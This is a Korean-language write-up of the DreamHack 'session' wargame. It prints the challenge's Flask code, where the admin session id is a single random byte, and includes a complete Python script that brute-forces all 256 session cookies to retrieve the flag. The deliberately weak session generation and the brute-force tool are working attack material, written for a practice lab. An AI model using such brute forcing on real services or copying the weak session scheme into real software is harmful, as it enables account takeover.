[Dreamhack]session 풀이
개요
DreamHack의 워게임 session문제에 대한 풀이를 작성했습니다.
해당 공격 기법들을 허가되지 않은 실제 운영 서버에서 시도하는 것은 정보통신망법에 어긋나는 행위입니다.
풀이
1. 취약한 코드.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
위 코드는 해당 문제의 전체코드이다. 해당 코드들을 나눠서 설명하자면.
1
2
3
4
5
6
7
8
9
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
루트 디렉토리 즉 사이트 메인화면에 접근할 경우 이 코드들이 실행된다. 처음 get요청으로 session을 session_id
에 저장한뒤 session_storage
의 인덱스에 넣어 session_storage
테이블에 맞는 값이 username
에 저장된다. 이후 return으로 render가 될 때 만약 username이 admin이 맞다면 "Hello admin, flag is DH{flag}"
가 출력될것이고, 아니라면 "Hello {username}, you are not admin"
이 출력될것이다. 따라서 이 이 문제를 풀기위한 목표은 admin의 비밀번호를 알아내거나 admin의 session값을 알아내는것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
해당 코드는 /login
에 접근을 했을 경우에 대한 코드들이다. get방식의 요청을 받았을 때는 login.html
을 렌더링해주고 post요청을 받을경우에는 username
과 password
를 받은 후 pw
에 username을 users의 인덱스로 받고 만약 users
에 해당 username과 일치하는 요소가 없을 경우 not found user를 alert로 띄우고 또 입력한 password와 pw가 일치하지 않을경우 wrong password
가 alert로 출력이되고 pw까지 맞았다하면 session_id가 4바이트의 랜덤한 값을 hex로 인코딩하고 session_storage
에 인덱스로 session_id
를 넣고 해당하는 값으로 username이 저장된다.
1
2
3
4
5
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
이 코드에서는 admin user에 대한 세션 설정이 나타나있다. 특이한것이 보이는데 위에서 session을 설정할 때에는 os.urandom(4).hex()
로 4바이트의 랜덤한 값이 session으로 설정되었다면 admin은 1바이트의 랜덤한 값으로 설정이 되어있다는 것이다. 여기서 16진수는 2진수의 각 4비트를 16진수 1자리로 표현하는 방법으로 1바이트는 2자리의 16진수가 된다. 따라서 00부터 ff까지 256개의 16진수 값을 표현할 수 있다.
따라서 admin의 비밀번호를 brut force 하는 것보다 admin의 session_id를 brut force하는것이 더 효율적이기에 session_id를 brut force했다.
2. 툴 제작
처음에는 16진수값 00~ff까지 사전파일을 만들기위해 python코드를 작성해보았다.
1
2
3
4
with open('session_burt_force.txt', 'w') as f:
for i in range(256):
hex_string = format(i, '02x') # 2자리의 문자열이고 한자리일경우 앞에 0이붙은 i의 hex값을 hex_string에 저장
f.write(hex_string + '\n') # hex_string을 쓰고 다음줄로 이동
위에서 작성한 사전파일을 이용해 exploit을 하는 python코드를 작성해보았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import argparse
import sys
import re
parser = argparse.ArgumentParser(description="[DreamHack] session exploit tool.")
parser.add_argument('-u', '--url', dest='URL', help="로그인해서 열은 해당 문제의 사이트의 URL로 exploit (ex.http://host3.dreamhack.games:0000/)")
parser.add_argument('-c', '--create', dest='CREATE', help="1바이트 크기의 16진수 파일 만들기", action='store_true')
args = parser.parse_args()
url = args.URL
if args.CREATE:
with open('session.txt', 'w') as f:
for i in range(256):
hex_string = format(i, '02x')
f.write(hex_string + '\n')
print('File "session.txt" successfully created.')
if args.URL:
try:
with open('session.txt', 'r') as f:
hex_list = f.read().splitlines()
except:
print("-c 옵션으로 파일을 생성해주세요.")
sys.exit()
try:
response_len = requests.get(url)
except:
print("유효하지 않는 URL입니다.")
sys.exit()
initial_response_len = len(response_len.text)
pattern = r'DH\{.*?\}' # DH{로 시작하고 }로 끝나는 패턴
for cookie in hex_list:
head = {"sessionid": f"{cookie}"}
response = requests.get(url, cookies=head)
print(cookie)
if len(response.text) != initial_response_len:
print(f"admin session: {cookie}")
matches = re.findall(pattern, response.text) # 패턴 찾기
for match in matches:
print(f'Flag: {match}')
break
elif not args.CREATE:
print("URL을 지정하세요. (-h, --help)")